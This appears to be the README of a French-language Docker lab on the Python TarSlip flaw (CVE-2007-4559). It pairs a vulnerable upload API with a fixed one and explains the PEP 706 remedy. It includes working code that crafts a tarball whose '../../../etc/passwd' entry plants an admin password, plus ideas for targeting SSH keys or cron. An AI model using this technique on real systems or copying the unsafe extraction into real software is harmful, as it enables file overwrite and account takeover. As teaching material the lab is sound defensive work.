Laboratoire Docker autonome démontrant CVE-2007-4559 (TarSlip) une traversée de répertoire via le module tarfile de Python. Inclut des API vulnérables et corrigées, la génération de payload, et un script de démonstration interactif pour l'éducation en sécurité.
Usage éducatif uniquement. Ce laboratoire exploite intentionnellement des vulnérabilités du système de fichiers dans des conteneurs Docker isolés. Ne pas exécuter sur un système contenant des données sensibles ou dans des environnements de production.
Un laboratoire Docker autonome qui démontre CVE-2007-4559 — la fameuse vulnérabilité « TarSlip » dans le module tarfile de Python — à travers une chaîne d'attaque concrète de bout en bout :
extractall() écrit aveuglément une entrée tar nommée ../../../etc/passwd en dehors du répertoire d'extraction, écrasant le véritable fichier système./admin protégé.La méthode tarfile.extractall() de Python reproduit fidèlement chaque entrée d'une archive tar, y compris celles dont les noms contiennent des séquences de traversée de chemin . Elle .
../tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/
resolved path : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← system file overwritten
| Chronologie | |
|---|---|
| 2007 | Bug signalé à l'équipe de sécurité Python |
| 2007 – 2022 | Marqué comme « non critique pour la sécurité » — tarfile fonctionne comme prévu |
| 2022 | Les chercheurs de Trellix scannent GitHub et trouvent plus de 350 000 dépôts qui appellent extractall() sur des entrées non fiables |
| 2022 | Divulgation publique. CVE-2007-4559 refait surface. Agitation à l'échelle de l'industrie. |
| 2023 | La PEP 706 livre filter='data' dans Python 3.12 — le correctif est un seul argument |
La démo se déroule en trois temps, chacun nécessitant une pression de touche pour avancer.
GET /admin → 401. Le point de terminaison admin existe et est protégé. L'attaquant ne connaît pas le mot de passe.innocent.tar.gz → les fichiers atterrissent dans le répertoire sandbox. Tout semble normal.Attacker crafts tarslip_passwd.tar.gz
└─ entry: "../../../etc/passwd"
content: admin:hacked:1001:... ← planted password
│
▼
POST /upload (multipart file upload)
│
▼
extractall("/shared/uploads/{uuid}/")
resolves "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
Un seul POST HTTP. Pas de shell. Pas de payload RCE. Juste un fichier tar.
La même archive tar est téléversée vers l'API corrigée, qui passe filter='data' à extractall(). Python lève une exception tarfile.OutsideDestinationError — la traversée est bloquée, /etc/passwd reste intact, et /admin reste verrouillé.
# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)
# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
Un seul argument. Quinze ans pour arriver.
Quatre services sur un réseau pont Docker isolé (tarslip-net). Rien n'atteint internet.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ port 8000 │ │ port 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Serves /shared over │ │
│ │ GET /admin │ │ HTTP — browse extracts │ │
│ │ GET /health │ │ visually │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ shared-storage volume │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (no host port — internal only) │
│ │ │ │
│ │ craft_malicious.py — generates tarballs │
│ │ demo.py — drives the demo │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
| Service | Image | Rôle | Port hôte |
|---|---|---|---|
vulnerable-api | python:3.11.3-slim | API de téléversement Flask + /admin protégé par authentification via /etc/passwd | 8000 |
fixed-api | python:3.12-slim | Même code + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | Liste des répertoires de fichiers extraits | 8080 |
attacker | python:3.12-slim | Générateur de payload + pilote de démo | — |
Les API vulnérable et corrigée utilisent un code source identique. La seule différence est la variable d'environnement USE_SAFE_EXTRACTION=true sur le conteneur corrigé, qui active le seul argument filter='data'.
CVE-2007-4559-lab/
├── run_demo.sh ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # seeds admin:s3cr3t_Adm1nPass into /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # generates innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # four-mode CLI driver (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
Le script est entièrement interactif. Il affiche un récit avant chaque étape et attend Entrée pour continuer. Aucune connaissance préalable de Docker n'est nécessaire pour suivre.
| Pause | Récit affiché | Action sur Entrée |
|---|---|---|
| 1 | Chronologie de CVE, ce que sont les trois temps | Construire la pile vulnérable |
| 2 | Rôles des conteneurs, mot de passe admin initial | Générer les payloads |
| 3 | Ce qu'il y a dans chaque archive tar | Temps 1 — référence |
| 4 | Pourquoi /admin est 401, à quoi ressemble une extraction normale | Temps 2 — exploitation |
| 5 | Le calcul exact de la traversée, ce qui est écrasé | Passer à la pile corrigée |
| 6 | Ce que fait filter='data' et pourquoi ça fonctionne | Temps 3 — vérification |
| 7 | Points clés à retenir + schéma plus large de ZipSlip | Démantèlement |
Si vous voulez avancer manuellement :
# Pile vulnérable
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Pile corrigée
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Démantèlement
docker compose -f docker-compose.fixed.yml down
Pendant que la pile vulnérable est en cours d'exécution, ouvrez http://localhost:8080/uploads/ pour parcourir les répertoires de session extraits dans votre navigateur.
/adminL'API injecte un mot de passe admin secret dans /etc/passwd lors de la construction de l'image :
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin lit ce fichier et vérifie le second champ (mot de passe) avec les identifiants Basic Auth HTTP. L'attaquant ne connaît pas s3cr3t_Adm1nPass — mais après que TarSlip a écrasé le fichier avec sa propre version contenant admin:hacked, il le connaît.
C'est un modèle simplifié de cibles réelles : les fichiers authorized_keys SSH, les fichiers de configuration d'application, les tâches cron, et tout fichier de credentials que le processus web peut écrire.
craft_malicious.py utilise le propre module tarfile de Python — le même qui contient le bogue :
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name is the traversal path
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# Entry name resolves to /etc/passwd when extracted into /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
Pas d'outils spéciaux. Pas d'exploitation binaire. La bibliothèque standard est à la fois l'arme et la victime.
Python 3.12 a introduit filter= dans la PEP 706. Le filtre 'data' :
tarfile.OutsideDestinationError sur les tentatives de traversée# Avant (vulnérable — toujours le défaut jusqu'à Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# Après (sûr)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Pour Python 3.11 et versions antérieures, valider manuellement :
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Unsafe path: {member.name}")
tar.extractall(dest)
Analyse statique : la règle B202 de bandit signale les appels non sécurisés à extractall() dans l'IC.
TarSlip est le nom donné par Python à une classe de vulnérabilité qui existe dans tous les langages avec des API d'extraction d'archives :
| Langage | API vulnérable | CVE / Avis |
|---|---|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, others | ZipSlip (2018) |
Même cause racine partout : faire confiance aux chemins provenant d'archives non fiables. Même correctif partout : canonicaliser et valider avant d'écrire.
Se concentrer sur la différence de code avant/après et la règle B202 de bandit. L'objectif est « comment empêcher cela dans notre base de code ? » — montrer le guide de migration de la PEP 706 et comment ajouter la vérification à l'IC.
Se concentrer sur la méthodologie de divulgation de Trellix — comment ils ont cherché sur GitHub à grande échelle, estimé l'impact sur plus de 350 000 dépôts et géré la divulgation responsable pour une vulnérabilité aussi répandue.
Étendre craft_malicious.py pour planter un fichier authorized_keys SSH ou une entrée cron malveillante au lieu de /etc/passwd. Même technique, cibles différentes — montre que tout chemin inscriptible est une surface d'attaque.
MIT — utiliser librement pour l'éducation, la recherche en sécurité et les démos en conférence. Ne pas utiliser les techniques de génération de payload contre des systèmes que vous ne possédez pas.